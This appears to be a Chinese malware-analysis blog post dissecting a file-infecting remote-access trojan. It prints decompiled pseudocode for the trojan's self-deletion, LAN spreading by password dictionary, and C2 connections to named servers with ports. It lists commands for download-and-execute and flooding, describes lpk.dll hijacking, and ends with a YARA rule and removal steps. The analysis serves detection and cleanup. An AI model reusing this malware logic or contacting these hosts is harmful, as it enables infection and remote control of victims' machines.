从0分析一款经典的感染型远控木马

嵌入式ARM 2019-04-03 05:48

本文由看雪论坛 荒野猎人 原创


用了4天时间,分析了一款经典的感染型远控木马,期间因为调试服务,调试 DLL 花费了不少时间。


1.流程图


病毒首先使用 RegOpenKeyExW 函数读取注册表中【HKEY_LOCAL_MACHINE\system\\CurrentControlset\\services\\Ghijkl Nopqrstu Wxy】


这个键项;如果键项不存在,则创建病毒的系统服务,流程图大体如下:





1.1 样本信息


病毒名

3601.exe

样本大小

72KB

MD5:

96043b8dcc7a977b16a2892c4b38d87f

加壳情况:

UPX(3.07)


1.2 测试环境及工具


测试平台

虚拟机WIN7

使用工具

OLLYDEBUG+IDA6.8


LordPe


火绒剑


1.3 目标概述


病毒母体

3601.exe

96043b8dcc7a977b16a2892c4b38d87f


释放的文件

vmnfmc.exe

8a1716b566d20b77c20647d0f760b01c

随机字母组成

释放的DLL

Hra33.dll


资源文件 主要存放2个资源 服务名和病毒EXE


2. 具体行为分析


2.1 主要行为


病毒母体

通过创建系统服务 释放文件(随机名称.exe)到系统目录,删除自身.释放的目标EXE以服务的方式开机自启动.

释放的病毒

开启多线程进行 通过局域网共享病毒 连接服务器 进行病毒的自我更新 远程指令 等操作

释放的DLL

Hra33.dll 资源文件 主要存放2个资源 服务名和病毒EXE 具有感染文件的功能

远程服务器

Sbcq.f3322.org:9898  www.520123.xyz:9999  www.520520520.org:9426


2.1.1 恶意程序对用户造成的危害


  • 将病毒程序通过弱密码感染到局域网主机 at 计划任务

  • 从服务器下载任意EXE程序并运行

  • 从服务器获得任意URL在本地打开

  • Vmnfmc.exe 释放 C:\WINDOWS\system32\hra33.dll并载入 创建三个线程

  • 遍历到的是EXE文件则拷贝病毒模块文件lpk.dll到该EXE文件的文件目录下进行DLL劫持

  • 如果上面对用户电脑的文件遍历,遍历到的是 RAR 或者 ZIP 格式的压缩包文件,则对压缩包里面的 EXE 文件进行 DLL 劫持,拷贝病毒模块文件 lpk.dll 到压缩包里的 EXE 文件目录下。

  • 如果当前运行的病毒模块不是病毒文件 lpk 的 dll 则动态加载系统的 lpk.dll 并进行 lpk.dll 文件的初始 为 dll 直接转发的方式劫持系统文件 lpk.dll 做准备。

 

2.2 恶意代码分析


Step 1. 将目标程序载入PEID 查看是 USP 的壳 利用 ESP 定律 
 

脱壳成功


Step 2. 载入 IDA 分析 Main 函数 为方便阅读 以下均是伪代码


WSAStartup(0x202u, &WSAData);if (Check_Server())                         // 判断是否有注册表服务是否存在{v7 = 0;v8 = 0;ServiceStartTable.lpServiceName = "Ghijkl Nopqrstu Wxy";ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A;StartServiceCtrlDispatcherA(&ServiceStartTable);}else                                          // 母体病毒进入 开始初始化 {Init_virs((int)"Ghijkl   Nopqrstu Wxy",(int)"Ghijkl   Nopqrstu Wxyabcde Ghij",(int)"Ghijklmn   Pqrstuvwx Abcdefg Ijklmnop Rst");if (ReName){DeleteSelf();ExitProcess(0);}}


第一次打开病毒文件  会进入 Init_virs



先载入各种操作服务和注册表的函数



GetModuleFileNameA(0u, &Filename, 0x104u);GetWindowsDirectoryA(&Buffer, 0x104u);Bufflen = strlen(&Buffer);if (strncmp(&Buffer,   &Filename, Bufflen)) //判断是否需要重新生成一个病毒 名称是随机的{charA =   Get_Randchar(26u) + 'a';charB =   Get_Randchar(26u) + 'a';charC =   Get_Randchar(26u) + 'a';charD =   Get_Randchar(26u) + 'a';charE =   Get_Randchar(26u) + 'a';charF =   Get_Randchar(26u);wsprintfA(&strExeName, "%c%c%c%c%c%c.exe", charF + 'a',   charE, charD, charC, charB, charA);mbscat(&Buffer, L"\\");mbscat(&Buffer, &strExeName);((void(__stdcall *)(CHAR *, CHAR *,   _DWORD))CopyFileA)(&Filename, &Buffer, 0);memset(&Filename, 0, 0x104u);mbscpy(&Filename,   &Buffer);ReName = 1;}



载入服务 修改服务描述 , 修改服务配置 , 开启服务等操作


if (ReName){DeleteSelf();ExitProcess(0);}DeleteSelf()函数实现细节


GetModuleFileNameA(0, &Filename,   0x104u);     // 获得当前EXE路径GetShortPathNameA(&Filename,   &Filename, 0x104u);// 获得文件名GetEnvironmentVariableA("COMSPEC", &Buffer, 0x104u);// 获取CMD的路径((void(__stdcall *)(char *, const char *))lstrcatA)(&Shellcommand, "/c del ");((void(__stdcall *)(char *, CHAR *))lstrcatA)(&Shellcommand, &Filename);((void(__stdcall *)(char *, const char *))lstrcatA)(&Shellcommand, " > nul");// /c   del C:\xxxx\3601_U~1.EXE > nulv19 = &v26;v20 = &Buffer;v16 = '<';v18 = 0;v26 = 'O';v27 = 'p';v28 = 'e';v29 = 'n';v30 = 0;v21 =   &Shellcommand;v22 = 0;v23 = 0;v17 = 64;if (ShellExecuteEx(&v16))                   // 运行删除自身的指令{SetPriorityClass(hProcess, 64u);            // 设置线程优先级hProcessa = GetCurrentProcess();SetPriorityClass(hProcessa, 256u);v2 = GetCurrentThread();SetThreadPriority(v2, 15);SHChangeNotify(SHCNE_DELETE, SHCNF_PATHA, &Filename, 0);// 删除当前进程的EXE程序result = 1;}



这也就完成了 释放新病毒 删除自身的操作


刚刚分析的是病毒第一次运行的操作,现在进入病毒第二次运行的操作。



ServiceStartTable.lpServiceName = "Ghijkl Nopqrstu Wxy";ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A;StartServiceCtrlDispatcherA(&ServiceStartTable)


进入回到函数



先设置服务状态 后面加载当前函数需要使用的函数


木马程序主体框架结构:



if (CreatemutexA(0, 0, "Ghijkl   Nopqrstu Wxy")&& SetServiceStatus() == 183) // 创建互斥体  存在的话 服务退出{exit(0);}EnumResource_start();                         // 释放DLL资源到C:\WINDOWS\system32\hra33.dllwsprintfA(&pFileName, "hra%u.dll", '!');Insert_Result(&pFileName);                    // 打开hra33.dll  拷贝2个资源到到hra33.DLL 一个是服务名 一个是EXE自身Load_hra33();                                 // 加载hra33.dll    具有DLL劫持功能 具体实现 将EXE同目录创建一个LPK.DLLCreateThread(0, 0, (LPTHREAD_START_ROUTINE)Shared_exe_LAN, 0, 0, 0);// 通过密码库 正确的话 就将木马程序 共享局域网 Sleep(500u);WSAStartup(0x202u, &WSAData);CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_4051E0, 0, 0, 0);// 接受网络指令 服务器 Sbcq.f3322.org:9898 WSAStartup(0x202u, &WSAData);CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_405241, 0, 0, 0);// 接受网络指令 服务器 www.520123.xyz:9999while (1){dword_409628 = New_Thread((LPTHREAD_START_ROUTINE)sub_40387C, 0);// // 接受网络指令 服务器 www.520520520.org:9426WaitForSingleObject(0, 0xFFFFFFFF);CloseHandle(0);((void(__stdcall *)(_DWORD))closesocket)(0);dword_401C84 = 1;Sleep(0x12Cu);}


先来分析下 Shared_exe_LAN 第一个线程做的事情


首先本地定义一些用户名和常用密码字典



if (!gethostname(&Sysname,   128)){v2 = gethostbyname(&Sysname);             // 传入当前电脑名称v3 = v2;v69 = v2;if (v2){v70 = 0;if (*v2->h_addr_list)                 // 别名不为空{memset(&Dst, 0, 0x10u);memcpy(&v66, *(const void **)v3->h_addr_list, v3->h_length);strIP = 0;dword_40961C = 1;memset(&v11, 0, 124u);v12 = 0;v13 = 0;while (1)                           // 开始遍历局域网用户 成功则为远程用户添加一个任务 用来执行本机的目标程序{dword_409624 = 0;memset(&strIP, 0, 0x80u);sprintf(&strIP, "%d.%d.%d.%d", v66, v67, v68, 0);// 得到  "192.168.32.1"if ("administrator"){strBuff = (int *)&strUser;do{if (&dword_409644){strPwdBuff = (int *)&strPwd;do{Sleep(200u);Check_pwd((int)&strIP,   *strBuff, *strPwdBuff);// 传入IP 用户名  密码  通过IPC管道检测++strPwdBuff;} while (*strPwdBuff);}++strBuff;} while (*strBuff);}



Check_pwd 实现细节



总结:这2 个函数 可以循环遍历{局域网IP  通过自身的用户名 密码库} 进行传染


接下来 2、3 、4线程执行的框架指令都差不多,只是连接的服务器不一样。细微区别,其他的都一样,线程 3 用的服务器地址是 BASE64 解密后的地址



创建个线程 该线程成为僵尸线程。


继续深入。


hSocket = Init_connect();                     // 网络初始化 连接 返回句柄g_Socket = hSocket;if (hSocket != -1){Sock_Control(hSocket,   75);                  // 设置SOCKET的套接字模式memset(&Dst, 0, 176u);Get_SysInfo((int)&Dst);                     // 获取用户的电脑的操作系统的版本信息、CPU处理的频率和数目信息、系统的内存信息以、使用的网络流量的信息以及用户电脑从启动到现在的上线时间,准备将用户的这些信息发送给病毒作者。if (Load_hra33() == 1)                    // 载入DLLv52 += 2;v53 += 3;v54 += 4;*(_DWORD *)buf = 176;SwitchNumber = 0x77;memcpy(SysInfo, &Dst, 176u);if (send(g_Socket, buf, 184, 0) != -1)    // 将信息发送服务器  肉鸡已上线。。


加载 URLDOWNTOFILEA  函数  等待死循环等待服务器的指令



这几个应该是一个自定义的结构体 无法还原  后面会一一用到  现在一个一个分析服务器都会发送哪些指令 来操作客户端


if (SwitchNumber > 6){ //搞事情. }else { if (SwitchNumber == 6){ //搞事情too.    }           }


SWTICH  一个一个分析:


Case 5: //我猜测控制全局线程任务 避免损耗过大



case 2、3 都有不少混淆其他只有一个函数是正常的 篇幅有限 举个栗子:



case 2:// 根据网络传输的参数 指定连接某服务器地址 进行TCP连接 发垃圾包 关闭 循环自定义次数 break;



因IDA的BUG SEND没显示出来,这个故事再次告诉我们F5大法也有问题




我猜测这就是传说中的网络攻击器的肉鸡?


case 3://根据网络传输的参数 运行系统路径下指定程序可以带参数 可以指定运行多少次 break;



只有这段代码是有效的 其他的都是垃圾指令  根据功能是来攻击当前机器的用户 ..想想自定义次数打开某个东西。


case 4://等待任务/  break;这个就没啥好看的 作者让用户机器暂时不接受任务。


case 5://猜测是控制全局线程任务 避免损耗过大 全局的BOOL值变量  break;


case 6://关闭互斥体 删除注册表的值 删除自身   break;




case 16://根据网络传输的参数 保存到临时文件 然后打开运行 支持传参运行  break;



URLDOWNTOFILEA函数应该是如下图 IDA手残点错了 把参数给搞没了.^_^



case 18://更新本身病毒  下载 运行 删除自身  break;



case 20://根据网络传输的 URL 打开 IE 浏览器进行弹窗  break;




3. 解决方案/总结


3.1  提取病毒的特征,利用杀毒软件查杀


Ghijkl Nopqrstu Wxy 的 16 进制字符串为 4768696a6b6c204e6f70717273747520577879


Yara 规则配合 ClamAV:


rule 3601Virs{    strings:        $my_text_string = "Ghijkl   Nopqrstu Wxy"        $my_hex_string = {47 68 69 6a 6b 6c   20 4e 6f 70 71 72 73 74 75 20 57 78 79 }       condition:        $my_text_string or $my_hex_string}



3.2 手工查杀步骤 查杀思路


通过服务名称"Ghijkl Nopqrstu Wxy" 可以得到服务绑定的 EXE 程序


1. 停止服务

2. 删除注册表的键值

3. 删除服务绑定的EXE windows目录下

4. 找到system系统目录下 hra33.dll 删除

5. 删除所有非system32目录下的lpk.dll


这个病毒不难 但是对于我们这种新手来说,需要花时间就能搞定了。


嵌入式ARM 关注这个时代最火的嵌入式ARM,你想知道的都在这里。
评论
  • 80,000人到访的国际大展上,艾迈斯欧司朗有哪些亮点?感未来,光无限。近日,在慕尼黑electronica 2024现场,ams OSRAM通过多款创新DEMO展示,以及数场前瞻洞察分享,全面展示自身融合传感器、发射器及集成电路技术,精准捕捉并呈现环境信息的卓越能力。同时,ams OSRAM通过展会期间与客户、用户等行业人士,以及媒体朋友的深度交流,向业界传达其以光电技术为笔、以创新为墨,书写智能未来的深度思考。electronica 2024electronica 2024构建了一个高度国际
    艾迈斯欧司朗 2025-01-16 20:45 50浏览
  • 随着智慧科技的快速发展,智能显示器的生态圈应用变得越来越丰富多元,智能显示器不仅仅是传统的显示设备,透过结合人工智能(AI)和语音助理,它还可以成为家庭、办公室和商业环境中的核心互动接口。提供多元且个性化的服务,如智能家居控制、影音串流拨放、实时信息显示等,极大提升了使用体验。此外,智能家居系统的整合能力也不容小觑,透过智能装置之间的无缝连接,形成了强大的多元应用生态圈。企业也利用智能显示器进行会议展示和多方远程合作,大大提高效率和互动性。Smart Display Ecosystem示意图,作
    百佳泰测试实验室 2025-01-16 15:37 126浏览
  • 一个易用且轻量化的UI可以大大提高用户的使用效率和满意度——通过快速启动、直观操作和及时反馈,帮助用户快速上手并高效完成任务;轻量化设计则可以减少资源占用,提升启动和运行速度,增强产品竞争力。LVGL(Light and Versatile Graphics Library)是一个免费开源的图形库,专为嵌入式系统设计。它以轻量级、高效和易于使用而著称,支持多种屏幕分辨率和硬件配置,并提供了丰富的GUI组件,能够帮助开发者轻松构建出美观且功能强大的用户界面。近期,飞凌嵌入式为基于NXP i.MX9
    飞凌嵌入式 2025-01-16 13:15 113浏览
  • 晶台光耦KL817和KL3053在小家电产品(如微波炉等)辅助电源中的广泛应用。具备小功率、高性能、高度集成以及低待机功耗的特点,同时支持宽输入电压范围。▲光耦在实物应用中的产品图其一次侧集成了交流电压过零检测与信号输出功能,该功能产生的过零信号可用于精确控制继电器、可控硅等器件的过零开关动作,从而有效减小开关应力,显著提升器件的使用寿命。通过高度的集成化和先进的控制技术,该电源大幅减少了所需的外围器件数量,不仅降低了系统成本和体积,还进一步增强了整体的可靠性。▲电路示意图该电路的过零检测信号由
    晶台光耦 2025-01-16 10:12 83浏览
  • 电竞鼠标应用环境与客户需求电竞行业近年来发展迅速,「鼠标延迟」已成为决定游戏体验与比赛结果的关键因素。从技术角度来看,传统鼠标的延迟大约为20毫秒,入门级电竞鼠标通常为5毫秒,而高阶电竞鼠标的延迟可降低至仅2毫秒。这些差异看似微小,但在竞技激烈的游戏中,尤其在对反应和速度要求极高的场景中,每一毫秒的优化都可能带来致胜的优势。电竞比赛的普及促使玩家更加渴望降低鼠标延迟以提升竞技表现。他们希望通过精确的测试,了解不同操作系统与设定对延迟的具体影响,并寻求最佳配置方案来获得竞技优势。这样的需求推动市场
    百佳泰测试实验室 2025-01-16 15:45 165浏览
  • 全球领先的光学解决方案供应商艾迈斯欧司朗(SIX:AMS)近日宣布,与汽车技术领先者法雷奥合作,采用创新的开放系统协议(OSP)技术,旨在改变汽车内饰照明方式,革新汽车行业座舱照明理念。结合艾迈斯欧司朗开创性的OSIRE® E3731i智能LED和法雷奥的动态环境照明系统,两家公司将为车辆内饰设计和功能设立一套全新标准。汽车内饰照明的作用日益凸显,座舱设计的主流趋势应满足终端用户的需求:即易于使用、个性化,并能提供符合用户生活方式的清晰信息。因此,动态环境照明带来了众多新机遇。智能LED的应用已
    艾迈斯欧司朗 2025-01-15 19:00 71浏览
  • 近期,智能家居领域Matter标准的制定者,全球最具影响力的科技联盟之一,连接标准联盟(Connectivity Standards Alliance,简称CSA)“利好”频出,不仅为智能家居领域的设备制造商们提供了更为快速便捷的Matter认证流程,而且苹果、三星与谷歌等智能家居平台厂商都表示会接纳CSA的Matter认证体系,并计划将其整合至各自的“Works with”项目中。那么,在本轮“利好”背景下,智能家居的设备制造商们该如何捉住机会,“掘金”万亿市场呢?重认证快通道计划,为家居设备
    华普微HOPERF 2025-01-16 10:22 132浏览
  • 百佳泰特为您整理2025年1月各大Logo的最新规格信息,本月有更新信息的logo有HDMI、Wi-Fi、Bluetooth、DisplayHDR、ClearMR、Intel EVO。HDMI®▶ 2025年1月6日,HDMI Forum, Inc. 宣布即将发布HDMI规范2.2版本。新规范将支持更高的分辨率和刷新率,并提供更多高质量选项。更快的96Gbps 带宽可满足数据密集型沉浸式和虚拟应用对传输的要求,如 AR/VR/MR、空间现实和光场显示,以及各种商业应用,如大型数字标牌、医疗成像和
    百佳泰测试实验室 2025-01-16 15:41 123浏览
  • 随着消费者对汽车驾乘体验的要求不断攀升,汽车照明系统作为确保道路安全、提升驾驶体验以及实现车辆与环境交互的重要组成,日益受到业界的高度重视。近日,2024 DVN(上海)国际汽车照明研讨会圆满落幕。作为照明与传感创新的全球领导者,艾迈斯欧司朗受邀参与主题演讲,并现场展示了其多项前沿技术。本届研讨会汇聚来自全球各地400余名汽车、照明、光源及Tier 2供应商的专业人士及专家共聚一堂。在研讨会第一环节中,艾迈斯欧司朗系统解决方案工程副总裁 Joachim Reill以深厚的专业素养,主持该环节多位
    艾迈斯欧司朗 2025-01-16 20:51 52浏览
  • 日前,商务部等部门办公厅印发《手机、平板、智能手表(手环)购新补贴实施方案》明确,个人消费者购买手机、平板、智能手表(手环)3类数码产品(单件销售价格不超过6000元),可享受购新补贴。每人每类可补贴1件,每件补贴比例为减去生产、流通环节及移动运营商所有优惠后最终销售价格的15%,每件最高不超过500元。目前,京东已经做好了承接手机、平板等数码产品国补优惠的落地准备工作,未来随着各省市关于手机、平板等品类的国补开启,京东将第一时间率先上线,满足消费者的换新升级需求。为保障国补的真实有效发放,基于
    华尔街科技眼 2025-01-17 10:44 54浏览
  • 实用性高值得收藏!! (时源芯微)时源专注于EMC整改与服务,配备完整器件 TVS全称Transient Voltage Suppre,亦称TVS管、瞬态抑制二极管等,有单向和双向之分。单向TVS 一般应用于直流供电电路,双向TVS 应用于电压交变的电路。在直流电路的应用中,TVS被并联接入电路中。在电路处于正常运行状态时,TVS会保持截止状态,从而不对电路的正常工作产生任何影响。然而,一旦电路中出现异常的过电压,并且这个电压达到TVS的击穿阈值时,TVS的状态就会
    时源芯微 2025-01-16 14:23 119浏览
  •  光伏及击穿,都可视之为 复合的逆过程,但是,复合、光伏与击穿,不单是进程的方向相反,偏置状态也不一样,复合的工况,是正偏,光伏是零偏,击穿与漂移则是反偏,光伏的能源是外来的,而击穿消耗的是结区自身和电源的能量,漂移的载流子是 客席载流子,须借外延层才能引入,客席载流子 不受反偏PN结的空乏区阻碍,能漂不能漂,只取决于反偏PN结是否处于外延层的「射程」范围,而穿通的成因,则是因耗尽层的过度扩张,致使跟 端子、外延层或其他空乏区 碰触,当耗尽层融通,耐压 (反向阻断能力) 即告彻底丧失,
    MrCU204 2025-01-17 11:30 69浏览
我要评论
0
点击右上角,分享到朋友圈 我知道啦
请使用浏览器分享功能 我知道啦